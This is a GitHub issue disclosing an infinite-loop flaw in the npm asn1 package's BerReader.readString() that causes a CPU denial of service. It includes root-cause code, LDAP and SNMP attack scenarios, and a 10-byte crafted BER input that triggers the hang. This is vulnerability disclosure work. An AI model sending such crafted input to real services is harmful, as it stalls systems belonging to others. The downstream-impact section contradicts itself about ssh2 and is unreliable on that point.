Skip to content

BerReader.readString() infinite loop on malformed length — CPU DoS (CWE-835) #57

Description

@tynus3

Summary

The npm asn1 package (v0.2.6, latest) contains an infinite loop bug in BerReader.readString() that allows an attacker to permanently stall a Node.js process with as few as 10 bytes of crafted BER input. The bug is in lib/ber/reader.js, line 177-178.

Root Cause

BerReader.readString() returns null when the decoded length exceeds the remaining buffer, but does not advance _offset:

// lib/ber/reader.js, lines 172-180
var o = this.readLength(this._offset + 1);

if (o === null)
    return null;

if (this.length > this._size - o)
    return null;       // ← BUG: _offset is NOT advanced

this._offset = o;     // ← this line is never reached

Any code that iterates BER children in a loop (a standard pattern):

while (reader.remain > 0) {
    reader.readString(reader.peek(), true);
}

...will spin forever: remain never decreases because the offset never advances, and peek() returns the same tag byte each iteration.

Impact

  • CPU denial of service: 100% single-core usage, Node.js event loop completely stalled
  • Not a crash: The process stays alive but becomes entirely unresponsive, making detection harder
  • 10 bytes of input is sufficient to trigger the bug
  • Network-reachable via any protocol that carries BER-encoded data

Downstream impact

The asn1 package is a transitive dependency of widely-used packages:

  • ssh2 — SSH client/server. Malformed BER in SSH key exchange or authentication data.
  • (I list ssh2 as it is not affected, but based on my test, there are some lib still effected.)

Attack scenarios

  1. Malicious LDAP server: Attacker operates a rogue LDAP server (or MITM). When a victim application connects and queries, the server responds with a crafted SearchResultEntry containing an oversized length field. The ldapjs client enters an infinite loop.

  2. Malicious LDAP client: Attacker sends a crafted LDAP bind or search request to an ldapjs server. The server's BER parsing loop hangs.

  3. SNMP trap injection: Attacker sends a crafted SNMP trap with a malformed BER payload to an SNMP manager using this library.

Reproduction

Minimal reproducer (10 bytes)

const asn1 = require('asn1');
const BerReader = asn1.BerReader;

// SEQUENCE(8 bytes) containing OCTET STRING claiming length 32 (exceeds buffer)
const buf = Buffer.from([0x30, 0x08, 0x04, 0x81, 0x20, 0x41, 0x41, 0x41, 0x41, 0x41]);
const reader = new BerReader(buf);
reader.readSequence();

// This loop will never terminate:
while (reader.remain > 0) {
    const tag = reader.peek();
    const offsetBefore = reader._offset;
    reader.readString(tag, true);
    if (reader._offset === offsetBefore) {
        console.log('INFINITE LOOP: _offset stuck at', offsetBefore);
        break;  // safety break for demonstration
    }
}

readString offset bug (direct)

const asn1 = require('asn1');
const reader = new asn1.BerReader(Buffer.from([0x04, 0x81, 0xFF, 0x41, 0x42, 0x43, 0x44]));
console.log('before:', reader._offset);  // 0
reader.readString(0x04, true);
console.log('after:', reader._offset);   // 0 — BUG! should have advanced

If the maintainer does not respond, I might report/work with npm security to publish an advisory so that downstream consumers can take appropriate action (e.g., patching locally or switching libraries).

Best regards.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions